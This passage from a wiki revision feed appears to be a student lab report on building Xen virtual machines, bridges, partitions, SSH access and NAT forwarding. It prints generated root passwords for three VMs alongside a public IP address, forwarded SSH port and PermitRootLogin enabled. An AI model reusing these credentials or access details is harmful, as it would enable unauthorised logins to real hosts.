&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11514</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11514"/>
		<updated>2026-01-27T15:41:10Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11513</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11513"/>
		<updated>2026-01-27T15:37:32Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Nos résultats : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
